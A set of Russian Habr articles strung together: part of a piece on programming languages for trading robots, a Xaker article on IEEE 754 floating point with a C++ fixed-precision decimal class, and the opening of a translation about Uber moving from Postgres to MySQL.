Отдельный пласт представляют собой скриптовые языки — например, Python, MATLAB и R. Их часто используют для описания торговых стратегий и прототипирования квантовых моделей. Часто трейдеры пишут код своих прототипов на скриптовых языках, а позднее уже описывают их с помощью более производительных языков вроде C++.
Однако в некоторых случаях механические торговые системы могут быть целиком реализованы на скриптовых языках. Некоторые из таких инструментов, вроде языка [TradeScript](http://www.itinvest.ru/software/comp/smartx/), даже включают в торговые терминалы, что позволяет пользователям быстро «набросать» торговую стратегию, не отвлекаясь от анализа котировок и графиков.
Ниже представлен код на TradeScript, с помощью которого описана торговая стратегия, использующая для генерации сигналов индикаторы Parabolic SAR и экспоненциальные скользящие средние (exponential moving average, EMA). В данном случае, для входа в позицию используется 20-периодная и 60-периодная EMA, а для выхода из нее — параболическая система.
**Код простой торговой системы на TradeScript**
```
Buy Signals
# 20-периодная EMA пересекает снизу-вверх 60-периодную EMA
CROSSOVER(EMA(CLOSE, 20), EMA(CLOSE, 60))
Sell Signals
# 20-периодная EMA пересекает сверху вниз 60-периодную EMA
CROSSOVER(EMA(CLOSE, 60), EMA(CLOSE, 20))
Exit Long
# Цена закрытия пересекает снизу-вверх Parabolic SAR
CROSSOVER(CLOSE, PSAR(CLOSE, 0.02, 0.2))
Exit Short
# Цена закрытия пересекает сверху вниз Parabolic SAR
CROSSOVER(PSAR(CLOSE, 0.02, 0.2), CLOSE)
```
#### Написание торговых роботов
Одной из наиболее динамично развивающихся сфер в финансовой индустрии в последние годы является алгоритмическая торговля и создание торговых роботов. Поговорим о том, какие языки программирования и почему используются в этом случае.
Прежде всего, как и в случае любых программных продуктов, разработчикам торговых роботов так или иначе приходится идти на различные компромиссы, которые позволяют учесть главные факторы, влияющие на успешность работы на рынке:
* Скорость торговли, т.е. совершения самих торговых операций — скорость выставления заявки, скорость получения ответа от биржи, скорость обработки самим роботом
* Универсальность и настраиваемость робота для работы с новыми рынками, финансовыми инструментами, вариантами алгоритмов
* Скорость разработки и внесение существенных изменений.
Соответственно, тех случаях, когда важна скорость работы (например, в случае HFT-трейдинга), используются эффективные низкоуровневые языки — C++ и даже чистый С.
Если же планируется программирование торговой системы, которая будет работать по стратегии, не предполагающей совершение большого количества сделок, то здесь на первый взгляд выходит не скорость работы, а удобство и скорость самой разработки — в таком случае применяют не самые быстрые языки, например, на платформе .NET (тот же C# или Visal Basic).
Еще один вариант — это ситуация, при которой требуется производить значительные вычисления, но не обязательно в режиме реального времени. В таких случаях может быть оправданным использование интерпретируемых языков Python, R или TradeScript.
Иными словами, для различных модулей торгового робота используются соответствующие языки программирования:
* Торговый движок — простой, максимально быстрый робот, совершающий простой набор операций, как правило создается на C, C++ и ассемблерах разного уровня.
* Система управления параметрами — такой модуль сочетает в себе функции управления работой алгоритмы и интерфейса пользователя, может включать управляющие параметры и механизмы представления результатов торговли. Здесь могут использоваться C++, C#, Java и т.п.
* Система бэк-тестинга и подбора параметров торговли — модуль используется для тестирования новых алгоритмов на исторических данных, подбирает новые параметры к текущим алгоритмам. Для реализации данного модуля можно использовать Python и другие скриптовые языки. (В нашем блоге мы публиковали рассказ о создании системе [событийно-ориентированного бэктестинга на Python](http://habrahabr.ru/company/itinvest/blog/270215/)).
#### Советы экспертов
Для того, чтобы лучше подобрать язык программирования для конкретной ситуации, одного теоретического описания сферы применения этих инструментов может быть недостаточно. Поэтому следует также изучать и опыт других разработчиков торговых систем.
Ниже мы собрали несколько советов от российских и зарубежных экспертов, занимающихся созданием торговых роботов и финансового софта.
В ходе [дискуссии](http://www.quora.com/What-are-some-of-the-most-popular-programming-languages-high-frequency-trading-firms-and-hedge-funds-use) о выборе языков программирования для создания торговых роботов на сервисе Quora PhD-профессор Принстонского университета и руководитель департамента разработки компании Flexport Эндрю Ледвин, высказался о том, какие инструменты нужно выбирать для описания самой торговой стратегии:
> Здесь нам нужно генерировать приносящие прибыль правила работы, основываясь на различных сигналах. […] На данном уровне ключевым моментом является выразительность языка. Часто на нем используются языки вроде Python или даже C++ с Java, но я считаю идеальным вариантом Haskell или Ruby в качестве «обертки» с последующей разработкой ключевых модулей на более низкоуровневых языках.
>
>
>
> Еще один важный этап — поиск сигналов. Чаще всего это офлайн-активность, в ходе которой анализируется большое количество статистики с учетом ограничений систем реального времени. Здесь используют инструменты вроде R или Matlab (как тот же Goldman). Важна возможность машинного обучения и работы с большими объёмами данных с минимальными усилиями. Но вообще, здесь главное результат — если вам удается добиваться его с помощью Excel, то кому какое дело?
В том же треде разработчик сервиса YCharts Джеффри Шек в тех случаях, когда речь не идет о высокочастотной торговле, советовал обращать внимание на C#, Java или Python, а также не забывать о средствах разработки, обеспечивающих работу «бухгалтерской» части торговой системы:
> Если вам нужно агрегировать данные для анализа, то скорее всего вы захотите использовать что-то с большим количеством библиотек, довольно быстродействующим, с большим количеством уже написанного кода для решения разных задач (чтобы каждый раз не изобретать колесо). Чаще всего это будет что-то типа C#, Java или Python.
>
>
>
> Также крайне важны языки для обработки данных. Хотите сохранить каждую заявку по акциям Microsoft за день? Попробуйте сделать это с помощью SQL-базы данных (MySQL, SQLite и т.п.). Весьма вероятно в таком случае вам придется потратить много часов на оптимизацию, прежде чем на основе этих данных удастся совершить сделку.
>
>
>
> Я бы рекомендовал обратить внимание на языки, которые позволяют хранить данные в колоночном формате (а не в строковом) — это хорошо подходит для тиковых данных. Среди подобных технологий можно назвать [KDB](https://en.wikipedia.org/wiki/K_(programming_language)), [OneTick](http://www.onetick.com/web/), [SECDB](http://www.secdb.com/) (созданная в Goldman Sachs). Если же нужно просто хранить цены акций, то отлично подойдут и MySQL с PosgreSQL
.
В интервью нашему блогу разработчик терминала SmartX Андрей [Горьковенко](http://habrahabr.ru/company/itinvest/blog/223551/) говорил о том, что собственного торгового робота создавал с помощью C# и C++:
> Изначально я писал проект на C# потому что на нем мне было проще и быстрее сделать готовый продукт. Функциональность, доступная в платформе .NET, довольно богата (работа с контейнерами, потоками, файлами, с XML, наличие GUI), что делает ее неплохим выбором. Причина перехода на C++ банальна — не хватает производительности. Сейчас требования к софту в этом плане очень высоки —время пересчета стратегий измеряется единицами микросекунд. Каждая микросекунда на счету.
>
>
>
> Эта связка языков — C# и С++ — крайне жизнеспособна. На то, чтобы написать новую торговую стратегию или видоизменить старую у меня уходить час-два времени. В случае сложной математики — день-полтора. При этом в систему встроена функция бэк-теста, новую стратегию можно тут же протестировать на исторических данных. Кроме того, есть генетические алгоритмы, с помощью которых можно оптимизировать стратегии.
Руководитель направления алгоритмического трейдинга в АО «Финам» Алексей Афанасьевский [называл](http://habrahabr.ru/company/itinvest/blog/250169/) следующие языки программирования для создания быстрых торговых роботов:
> Для этих задач очень хорошо подходит C++ и чистый C. Бывает и так, что быстрые роботы создаются и чуть ли не на ассемблере — здесь стоит упомянуть механизмы прямого чтения-записи данных в память сетевой карты, минуя стандартные механизмы работы через драйверы, а также работу с «супербыстрым программируемым железом» вроде FPGA.
Основатель платформы StockSharp Михаил Сухов так описывает области применения различных языков программирования:
> Языки в трейдинге можно условно разделить на две подгруппы:
>
>
>
> 1) Платформенные языки. R, Matlab и так далее. Качество языков неотрывно связанно с самой платформой, поэтому разбор отдельно языка и сравнение его с аналогом не несет особо смысла. Если вам отлично подходит какая-то платформа, но при этом язык крайне неудобен, то вам придется использовать его независимо от всех недостатков. И, наоборот, в случае прекрасно удобного языка на неудобной платформе данный язык все равно не будет выбран для разработки.
>
>
>
> 2) Платформо-независимые языки. C#, Java, С++, Python и т.д…
>
>
>
> а) Java и C# (=.NET) практически идентичные платформы. Java в основном используется на \*nix подобных системах. C# на Windows. Мы выбрали C# в качестве основы нашей платформы [StockSharp](http://stocksharp.com/), потому что трейдеров под Windows больше, чем трейдеров под другие системы (Андроид не в счет, так как мобильные платформы являются дополняющими, а не основными).
>
>
>
> б) Что касается C++, то среди трейдеров практически не развит из-за своей сложности. Но его используют профессиональные программисты, пишущие системы с большой нагрузкой и быстротой реакции.
>
>
>
> в) Python (в эту категорию можно занести языки вроде List, Haskell) являются простыми средствами для решения алгоритмических задач. Трейдеры чаще выбирают данный язык. Но для построения платформы подобные языки ограничены из-за слабой интеграции с операционными системами, низкой производительности и отсутствием хороших графических библиотек.
>
>
>
> В сухом остатке могу сказать, что языка, универсально удобно подходящего к любой задаче и под любую категорию пользователей, не существует. Поэтому важно понимать перед выбором языка не преимущества того или другого инструмента, а собственную задачу и ваши возможности.
#### Заключение
Выбор языка (или языков) программирования для создания торгового робота или другой системы, работающей на финансовом рынке, непростое занятие. Для того, чтобы подобрать подходящие инструменты разработки, необходим глубокий анализ архитектуры всей будущей системы. Важно учитывать различные факторы — производительность, простоту разработки, тестирование, доступность исходного кода сопутствующих библиотек и их устойчивость и так далее.
Сама природа торговых систем способствует тому, чтобы на разных этапах ее жизни использовались различные технологии — нельзя один раз запрограммировать алгоритм, который годами будет приносить прибыль. Проект будет постоянно развиваться и модернизироваться, и на протяжении его жизни для решения конкретных задач могут подходить самые разные языки программирования.
В итоге вполне может существовать система, в которой для быстрой работы с процессором используются C++ или CUDA, для обработки данных применяется Java, для тестирования на исторических данных используется Python, а отчеты создаются с помощью Excel/VBA. | https://habr.com/ru/post/271493/ | null | ru | null |
# Всё, точка, приплыли! Учимся работать с числами с плавающей точкой и разрабатываем альтернативу с фиксированной точностью десятичной дроби
Сегодня мы поговорим о вещественных числах. Точнее, о представлении их процессором при вычислении дробных величин. Каждый из нас сталкивался с выводом в строку чисел вида 3,4999990123 вместо 3,5 или, того хуже, огромной разницей после вычислений между результатом теоретическим и тем, что получилось в результате выполнения программного кода. Страшной тайны в этом никакой нет, и мы обсудим плюсы и минусы подхода представления чисел с плавающей точкой, рассмотрим альтернативный путь с фиксированной точкой и напишем класс числа десятичной дроби с фиксированной точностью.
#### Куда уплывает точка
Не секрет, что вещественные числа процессор понимал не всегда. На заре эпохи программирования, до появления первых сопроцессоров вещественные числа не поддерживались на аппаратном уровне и эмулировались алгоритмически с помощью целых чисел, с которыми процессор прекрасно ладил. Так, тип real в старом добром Pascal был прародителем нынешних вещественных чисел, но представлял собой надстройку над целым числом, в котором биты логически интерпретировались как мантисса и экспонента вещественного числа.
Мантисса — это, по сути, число, записанное без точки. Экспонента — это степень, в которую нужно возвести некое число N (как правило, N = 2), чтобы при перемножении на мантиссу получить искомое число (с точностью до разрядности мантиссы). Выглядит это примерно так:
```
x = m * N ^ e, где m и e — целые числа, записанные в бинарном виде в выделенных под них битах.
```
Чтобы избежать неоднозначности, считается, что 1 <= |m| < N, то есть число записано в том виде, как если бы оно было с одним знаком перед запятой, но запятую злостно стерли, и число превратилось в целое.
> Мантисса — это, по сути, число, записанное без точки. Экспонента — это степень, в которую нужно возвести некое число N (как правило, N = 2), чтобы при перемножении на мантиссу получить искомое число
> Еще совсем недавно операций с плавающей точкой, как и всех алгоритмов с вещественными числами, разработчики старались избегать. Сопроцессор, обрабатывающий операции с вещественными числами, был не на всех процессорах, а там, где был, не всегда работал эффективно. Но время шло, сейчас операции с плавающей точкой встроены в ядро процессора, мало того, видеочипы также активно обрабатывают вещественные числа, распараллеливая однотипные операции.
Современные вещественные числа, поддержанные аппаратно на уровне процессора, также разбиты на мантиссу и экспоненту. Разумеется, все операции, привычные для арифметики целых чисел, также поддержаны командами процессора для вещественных чисел и выполняются максимально быстро.
Все так непросто потому, что такой формат записи, во-первых, позволяет производить операции умножения и деления с такими числами достаточно эффективно, кроме того, получить исходное вещественное число, представленное таким форматом, также несложно. Данное представление чисел называется **числом с плавающей точкой**.
#### Стандарт точечного плаванья
Вещественные числа с плавающей точкой, поддержанные на уровне процессора, описаны специальным международным стандартом **IEEE 754**. Основными двумя типами для любых вычислений являются **single-precision** (одинарной точности) и **double-precision** (двойной точности) **floating-point** (числа с плавающей точкой). Названия эти напрямую отражают разрядность бинарного представления чисел одинарной и двойной точности: под представление с одинарной точностью выделено 32 бита, а под двойную, как ни странно, 64 бита — ровно вдвое больше.
> Кроме одинарной и двойной точности, в новой редакции стандарта IEEE 754—2008 предусмотрены также типы расширенной точности, четверной и даже половинной точности. Однако в C/C++, кроме float и double, есть разве что еще тип long double, упорно не поддерживаемый компанией Microsoft, которая в Visual C++ подставляет вместо него обычный double. Ядром процессора в настоящий момент также, как правило, пока не поддерживаются типы половинной и четверной точности. Поэтому, выбирая представления с плавающей точкой, приходится выбирать лишь из float и double.
В качестве основания для экспоненты числа по стандарту берется 2, соответственно, приведенная выше формула сводится к следующей:
```
x = m * (2 ^ e), где 1 <= |m| < 2; m, e — целые
```
Расклад в битах в числах одинарной точности выглядит так:
| 1 бит под знак | 8 бит экспоненты | 23 бита мантиссы |
Для двойной точности мы можем использовать больше битов:
| 1 бит под знак | 11 бит экспоненты | 52 бита мантиссы |
В обоих случаях если бит знака равен 0, то число положительное и 1 устанавливается для отрицательных чисел. Это правило аналогично целым числам с той лишь разницей, что в отличие от целых, чтобы получить число, обратное по сложению, достаточно инвертировать один бит знака.
Поскольку мантисса записывается в двоичном виде, подразумевается целая часть, уже равная 1, поэтому в записи мантиссы всегда подразумевается один бит, который не хранится в двоичной записи. В битах мантиссы хранится именно дробная часть нормализованного числа в двоичной записи.
> Мантисса записывается в двоичном виде, и отбрасывается целая часть, заведомо равная 1, поэтому никогда не забываем, что мантисса на один бит длиннее, чем в она хранится в двоичном виде
Не нужно иметь докторскую степень, чтобы вычислить точность в десятичных знаках чисел, которые можно представить этим стандартом: 2^(23 + 1) = 16 777 216; это явно указывает нам на тот факт, что точность представления вещественных чисел с одинарной точностью достигает чуть более семи десятичных знаков. Это значит, что мы не сможем сохранить в данном формате, например, число 123 456,78 — небольшое, в общем-то, число, но уже начиная с сотой доли мы получим не то число, что хотели. Ситуация усложняется тем, что для больших чисел вида 1 234 567 890, которое прекрасно помещается даже в 32-разрядное целое, мы получим погрешность уже в сотнях единиц! Поэтому, например, в C++ для вещественных чисел по умолчанию используется тип **double**. Мантисса числа с двойной точностью уже превышает 15 знаков: 2^52> = 4 503 599 627 370 496 и спокойно вмещает в себя все 32-разрядные целые, давая сбой только на действительно больших 64-разрядных целых (19 десятичных знаков), где погрешность в сотнях единиц уже, как правило, несущественна. Если же нужна большая точность, то мы в данной статье обязательно в этом поможем.
Теперь что касается экспоненты. Это обычное бинарное представление целого числа, в которое нужно возвести 10, чтобы при перемножении на мантиссу в нормализованном виде получить исходное число. Вот только в стандарте вдобавок ввели смещение, которое нужно вычитать из бинарного представления, чтобы получить искомую степень десятки (так называемая **biased exponent** — смещенная экспонента). Экспонента смещается для упрощения операции сравнения, то есть для одинарной точности берется значение 127, а для двойной 1023. Все это звучит крайне сложно, поэтому многие пропускают главу о типе с плавающей точкой. А зря!
#### Примерное плаванье
Чтобы стало чуточку понятнее, рассмотрим пример. Закодируем число **640** (= 512 + 128) в бинарном виде как вещественное число одинарной точности:
* число положительное — бит знака будет равен 0;
* чтобы получить нормализованную мантиссу, нам нужно поделить число на 512 — максимальную степень двойки, меньшую числа, получим 640 / 512 = 512 / 512 + 128 / 512 или 1 + 1/4, что дает в двоичной записи 1,01, соответственно, в битах мантисы будет 0100000 00000000 00000000;
* чтобы получить из 1 + 1/4 снова 640, нам нужно указать экспоненту, равную 9, как раз 2^9 = 512, число, на которое мы поделили число при нормализации мантиссы, но в бинарном виде должно быть представление в смещенном виде, и для вещественных чисел одинарной точности нужно прибавить 127, получим 127 + 9 = 128 + 8, что в бинарном виде будет записано так: 10001000.
Для двойной точности будет почти все то же самое, но мантисса будет содержать еще больше нулей справа в дробной части, а экспонента будет 1023 + 9 = 1024 + 8, то есть чуть больше нулей между старшим битом и числом экспоненты: 100 00001000. В общем, все не так страшно, если аккуратно разобраться.
Задание на дом: разобраться в двоичной записи следующих констант: плюс и минус бесконечность (**INF** — бесконечность), ноль, минус ноль и число-не-число (**NaN** — not-a-number).
#### За буйки не заплывай!
Есть одно важное правило: у каждого формата представления числа есть свои пределы, за которые заплывать нельзя. Причем обеспечивать невыход за эти пределы приходится самому программисту, ведь поведение программы на С/С++ — это сделать невозмутимое лицо при выдаче в качестве сложения двух больших положительных целых чисел маленькое отрицательное. Но если для целых чисел нужно учитывать только максимальное и минимальное значение, то для вещественных чисел в представлении с плавающей точкой следует больше внимания обращать не столько на максимальные значения, сколько на разрядность числа. Благодаря экспоненте максимальное число для представления с плавающей точкой при двойной точности превышает 10308, даже экспонента одинарной точности дает возможность кодировать числа свыше 1038. Если сравнить с «жалкими» 1019, максимумом для 64-битных целых чисел, можно сделать вывод, что максимальные и минимальные значения вряд ли когда-либо придется учитывать, хотя и забывать про них не стоит.
> Если для целых чисел нужно учитывать только максимальное и минимальное значение, то для вещественных чисел в представлении с плавающей точкой следует больше внимания обращать не столько на максимальные значения, сколько на разрядность числа.
Другое дело проблема точности. Жалкие 23 бита под мантиссу дают погрешность уже на 8-м знаке после запятой. Для чисел с двойной точностью ситуация не столь плачевная, но и 15 десятичных знаков очень быстро превращаются в проблему, если, например, при обработке данных требуется 6 фиксированных знаков после точки, а числа до точки достаточно большие, под них остается всего лишь 9 знаков. Соответственно, любые многомиллиардные суммы будут давать значительную погрешность в дробной части. При большой интенсивности обработки таких чисел могут пропадать миллиарды евро, просто потому, что они «не поместились», а погрешность дробной части суммировалась и накопила огромный остаток неучтенных данных.
Если бы это была только теория! На практике не должно пропадать даже тысячной доли цента, погрешность всех операций должна быть строго равна нулю. Поэтому для бизнес-логики, как правило, не используют C/C++, а берут C# или Python, где в стандартной библиотеке уже встроен тип Decimal, обрабатывающий десятичные дроби с нулевой погрешностью при указанной точности в десятичных знаках после запятой. Что же делать нам, программистам на C++, если перед нами стоит задача обработать числа очень большой разрядности, при этом не используя высокоуровневые языки программирования? Да то же, что и обычно: заполнить пробел, создав один небольшой тип данных для работы с десятичными дробями высокой точности, аналогичный типам Decimal высокоуровневых библиотек.
#### Добавим плавающей точке цемента
Пора зафиксировать плавающую точку. Поскольку мы решили избавиться от типа с плавающей точкой из-за проблем с точностью вычислений, нам остаются целочисленные типы, а поскольку нам нужна максимальная разрядность, то и целые нам нужны максимальной разрядности в 64 бита.
Сегодня в учебных целях мы рассмотрим, как создать представление вещественных чисел с гарантированной точностью до 18 знаков после точки. Это достигается простым комбинированием двух 64-разрядных целых для целой и дробной части соответственно. В принципе, никто не мешает вместо одного числа для каждой из компонент взять массив значений и получить полноценную «длинную» арифметику. Но будет более чем достаточно сейчас решить проблему точности, дав возможность работать с точностью по 18 знаков до и после запятой, зафиксировав точку между двумя этими значениями и залив ее цементом.
#### Отсыпь и мне децимала!
Сначала немного теории. Обозначим наше две компоненты, целую и дробную часть числа, как n и f, а само число будет представимо в виде
x = n + f \* 10-18, где n, f — целые, 0 <= f < 1018.
Для целой части лучше всего подойдет знаковый тип 64-битного целого, а для дробной — беззнаковый, это упростит многие операции в дальнейшем.
```
class decimal
{
…
private:
int64_t m_integral;
uint64_t m_fractional;
};
```
Целая часть в данном случае — максимальное целое, меньшее представляемого числа, дробная часть — результат вычитания из этого числа его целой части, помноженной на 1018, и приведенное к целому: f = (x – n) \* 1018.
Целая часть для отрицательных чисел получится большей по модулю самого числа, а дробная часть будет не совпадать с десятичной записью самого числа, например для числа –1,67 компонентами будут: n = –2 и f = 0,33 \* 1018. Зато такая запись позволяет упростить и ускорить алгоритмы сложения и умножения, поскольку не нужно ветвления для отрицательных чисел.
#### Операции с типом десятичной дроби
Разумеется, тип числа с повышенной точностью будет бесполезен без арифметических операций. Сложение реализуется сравнительно просто:
```
x = a + b * 1e-18,
y = c + d * 1e-18,
z = x + y = e + f * 1e-18,
a, c, e: int64_t;
b, d ,f: uint64_t;
0 <= b, d, f < 1e+18,
z = (a + b * 1e-18) + (c + d * 1e-18)
e = a + c + [b * 1e-18 + d * 1e-18]
f = {b * 1e-18 + d * 1e-18} * 1e+18
```
**NB:** здесь и далее все записи в форме 1e — целые числа.
Здесь [n] — это получение целой части числа, а {n} — получение дробной части. Все бы хорошо, но вспоминаем про ограничение целых чисел. Значение 1e+18 уже близко к грани значений беззнакового 64-битового целого типа uint64\_t (потому мы его и выбрали), но нам никто не мешает чуточку упростить выражение, чтобы гарантированно оставаться в границах типа, исходя из начальных условий:
```
e = a + c + (b + d) div 1e+18,
f = (b + d) mod 1e+18.
```
> Всегда нужно учитывать две вещи при реализации операций с числами, поскольку они подразумевают интенсивное использование: во-первых, нужно всегда оптимизировать алгоритм, сводя к минимуму операций умножения и деления, поэтому стоит заранее упростить выражение математически, так, чтобы легко выполнялся первый пункт. В нашем случае все нужно свести к минимуму целочисленных делений с остатком. Во-вторых, нужно обязательно проверять все возможные ситуации переполнения числа с выходом за границы вычисляемого типа, иначе получишь весьма неочевидные ошибки при использовании своего типа.
Разумеется, стоит проверить граничные значения при сложении a и c. Также, исходя из того, что b и d меньше 1e+18, мы знаем, что (b + d) < 2 \*1e+18, значит, последним сложением добавится максимум единица, поэтому алгоритмически деление можно вообще не считать для оптимизации скорости выполнения операций:
```
e = a + c;
f = b + d;
if (f >= 1e+18) f -= 1e+18, ++e;
```
Здесь опущены проверки на максимальное целое для значения e для простоты изложения.
Для вычитания все чуть-чуть сложнее, здесь уже нужно учитывать переход ниже нуля для беззнакового целого. То есть нужно сравнить два числа до вычитания.
```
e = a - c;
if (b >= d) f = b - d;
else f = (1e+18 - d) + b, --e;
```
В целом все пока несложно. До умножения и деления все всегда несложно.
#### Умножение чисел с фиксированной точностью
Рассмотрим сперва умножение. Поскольку числа в дробной части довольно большие и, как правило, находятся в ближайшей окрестности 1e+18, нам придется либо использовать язык ассемблера и операции с Q-регистрами, либо пока обойтись целыми числами, побив каждую компоненту на две части по 1e+9. В этом случае умножение будет давать не больше 1e+18 и ассемблер нам пока не понадобится, будет не так шустро, но нам хватит 64-разрядного целого, и мы останемся внутри C++. Ты помнишь школу и умножение столбиком? Если нет, самое время вспомнить:
a = sa \* a1 — a2 \* 10-9; b = b1 — b2 \* 10-9;
c = sc \* c1 — c2 \* 10-9; d = d1 — d2 \* 10-9;
0 <= a2, b2, c1,2, c1,2 < 109;
sa,c = sign( a ), sign( c )
0 <= a1, с1 < MAX\_INT64 / 109
Введем матрицу для упрощения вычисления умножения:
U = (a1, a2, b1, b2),
V = (c1, c2, d1, d2)T,
A = V \* U,
A=
| a1\*c1 a1\*c1 b1\*c1 b2\*c1 |
| a1\*c2 a1\*c2 b1\*c2 b2\*c2 |
| a1\*d1 a1\*d1 b1\*d1 b2\*d1 |
| a1\*d2 a1\*d2 b1\*d2 b2\*d2 |
Матрица вводится не столько для удобства вычисления, сколько для удобства проверки. Ведь A11 = a1 \* c1 должно быть строго меньше MAX\_INT64 / 1018, а значения диагональю ниже: A12 = a1 \* c2 и A21 = a2 \* c1 должны быть строго меньше MAX\_INT64 / 109. Просто потому, что мы будем умножать на эти коэффициэнты при сложении компонент:
e = A11\*1018 + (A12+A21)\*109 + (A13+A22+A31) + (A14+A23+A32+A41) div 1018,
f = (A14+A23+A32+A41) mod 1018 + (A24+A33+A42) + (A34+A43) div 109
Здесь мы опускаем слагаемое A44 div 1018 просто потому, что оно равно нулю. Разумеется, перед каждым сложением стоит проверить, не выйдем ли мы за пределы MAX\_INT64. К счастью, мы можем оперировать беззнаковым типом uint64\_t для всех компонент матрицы и для промежуточного результата. Все, что нужно будет сделать в конце, — это определить знак результата se = sa xor sc и для отрицательного числа поправить целую и дробную часть: целую уменьшить на единицу, дробную вычесть из единицы. Вот, в общем, и все умножение, главное — быть очень аккуратным. С ассемблером все на порядок проще, но этот материал выходит за рамки Академии C++.
#### Алгоритм деления без регистрации и СМС
Если ты помнишь алгоритм деления столбиком — молодец, но здесь он будет не нужен. Благодаря математике и небольшому колдовству с неравенствами нам будет проще посчитать обратное число x–1 и выполнить умножение на x–1. Итак, решаем задачу
y = x-1 = 1 / (a + b \* 10-18) = c + d \* 10-18.
Для упрощения рассмотрим нахождение обратного числа для положительного x. Если хотя бы одна из компонент x равна нулю (но не обе сразу), вычисления сильно упрощаются. Если a = 0, то:
```
y = 1 / (b * 1e-18) = 1e+18 / b,
e = 1e+18 div b,
f = 1e+18 mod b;
если b = 0, a = 1, то y = e = 1, f = 0;
ecли b = 0, a > 1, то:
y = 1 / a,
e = 0, f = 1e+18 div a.
```
Для более общего случая, когда x содержит ненулевые дробную и целую части, в этом случае уравнение сводится к следующему:
```
если a > 1, b != 0 то:
y = 1 / (a + b * 1e-18) < 1,
отсюда e = 0,
f = 1e+18 / (a + b * 1e-18).
```
Теперь нужно найти максимальную степень 10, которая будет не больше a, и итерационно выполнять следующее действие:
```
k = max(k): 1e+k <= a,
u = 1e+18, v = (a * 1e+18-k + b div 1e+k);
f = (u / v) * 1e+18-k,
for (++k; k <=18; ++k)
{
u = (u % v) * 10;
if (!u) break; // дальше будут нули
f += u / v * 1e+(18-k);
}
```
Здесь мы всего лишь используем умножение и деление дроби на одинаковый множитель — степень десятки, а затем пошагово вычисляем деление и остаток от деления для очередной степени десятки.
Очень полезно будет завести массив степеней десяток от 0 до 18 включительно, поскольку вычислять их совершенно излишне, мы их знаем заранее и требоваться они нам будут часто.
#### Преобразования типов
Мы знаем и умеем достаточно, чтобы теперь превратить расплывчатые float и double в наш новенький decimal.
```
decimal::decimal(double value)
: m_integral(static_cast(std::floor(value))
m\_fractional(static\_cast(std::floor(
(value - m\_integral) \* 1e+18 + 0.5))
{
normalize();
}
void decimal::normalize()
{
uint64\_t tail = m\_fractional % 1e+3;
if (tail)
{
if (tail > 103/2)
m\_fractional += 1e+3 - tail;
else
m\_fractional -= tail;
}
}
```
Здесь 103 является, по сути, той погрешностью, за которой double перестает быть точным. При желании погрешность можно еще уменьшить, здесь 1018-15 нужно для наглядности изложения. Нормализация после преобразования нужна будет все равно, поскольку точно double заведомо ниже даже дробной части decimal. Кроме того, нужно учитывать случай, когда double выходит за пределы int64\_t, при таких условиях наш decimal не сможет правильно преобразовать целую часть числа.
Для float все выглядит похожим образом, но погрешность на порядок выше: 1018-7 = 1011.
Все целые числа преобразовываются в decimal без проблем, просто инициализируя поле m\_integral. Преобразование в обратную сторону для целых чисел также будет просто возврат m\_integral, можно добавить округление m\_fractional.
Преобразование из decimal в double и float сводится к вышеуказанной формуле:
```
return m_integral + m_fractional * 1e-18;
```
Отдельно стоит рассмотреть преобразование в строку и из строки. Целочисленная часть, по сути, преобразуется в строку как есть, после этого остается только вставить decimal separator и вывести дробную часть как целое, отбросив завершающие нули. Также можно ввести поле «точность» m\_precision и записывать в строку лишь указанное в нем число десятичных знаков.
Чтение из строки то же, но в обратную сторону. Здесь сложность лишь в том, что и знак, и целая часть, и разделитель дробной и целой части, и сама дробная часть — все они являются опциональными, и это нужно учитывать.
В общем и целом я предоставляю полную свободу при реализации этого класса, но на всякий случай со статьей идет несколько файлов с исходниками одной из возможных реализаций decimal, а также с небольшим тестом вещественных чисел для лучшего усвоения материала.
> #### GITHUB
>
>
>
> Со статьей идет несколько файлов с исходниками одной из возможных реализаций decimal, а также с небольшим тестом вещественных чисел для лучшего усвоения материала.
#### Не уплывай, и точка!
В заключение скажу лишь то, что подобный тип в C/C++ может появиться в весьма специфической задаче. Как правило, проблемы чисел с большой точностью решаются языками типа Python или C#, но если уж понадобилось по 15–18 знаков до запятой и после, то смело используй данный тип.
Получившийся тип decimal решает проблемы с точностью вещественных чисел и обладает большим запасом возможных значений, покрывающим int64\_t. С другой стороны, типы double и float могут принимать более широкий интервал значений и выполняют арифметические операции на уровне команд процессора, то есть максимально быстро. Старайся обходиться аппаратно поддерживаемыми типами, не залезая в decimal лишний раз. Но и не бойся использовать данный тип, если есть необходимость в точном вычислении без потерь.
В помощь также знания о двоичном представлении чисел с плавающей точкой, полученные в этой статье. Зная плюсы и минусы формата типов double и float, ты всегда примешь правильное решение, какой тип пользовать. Ведь, возможно, тебе и вовсе требуется целое число, чтобы хранить массу не в килограммах, а в граммах. Будь внимателен к точности, ведь точность наверняка внимательна к тебе!
*Впервые опубликовано в журнале Хакер #192.
Автор: Владимир [Qualab](http://habrahabr.ru/users/qualab/) Керимов, ведущий С++ разработчик компании Parallels*
Подпишись на «Хакер»
* [Материалы сайта](https://xakep.ru/wp-admin/profile.php?page=paywall_subscribes)
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://bit.ly/xakep_on_ipad)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/257897/ | null | ru | null |
# Uber — причины перехода с Postgres на MySQL
В конце июля 2016 года в корпоративном блоге Uber появилась поистине историческая статья о причинах перехода компании с PostgreSQL на MySQL. С тех пор в жарких обсуждениях этого материала было сломано немало копий, аргументы Uber были тщательно препарированы, компанию обвинили в предвзятости, технической неграмотности, неспособности эффективно взаимодействовать с сообществом и других смертных грехах, при этом по горячим следам в Postgres было внесено несколько изменений, призванных решить некоторые из описанных проблем. Список последствий на этом не заканчивается, и его можно продолжать еще очень долго.
Наверное, не будет преувеличением сказать, что за последние несколько лет это стало одним из самых громких и резонансных событий, связанных с СУБД PostgreSQL, которую мы, к слову сказать, очень любим и широко используем. Эта ситуация наверняка пошла на пользу не только упомянутым системам, но и движению Free and Open Source в целом. При этом, к сожалению, русского перевода статьи так и не появилось. Ввиду значимости события, а также подробного и интересного с технической точки зрения изложения материала, в котором в стиле «Postgres vs MySQL» идет сравнение физической структуры данных на диске, организации первичных и вторичных индексов, репликации, MVCC, обновлений и поддержки большого количества соединений, мы решили восполнить этот пробел и сделать перевод оригинальной статьи. Результат вы можете найти под катом.
Введение
--------
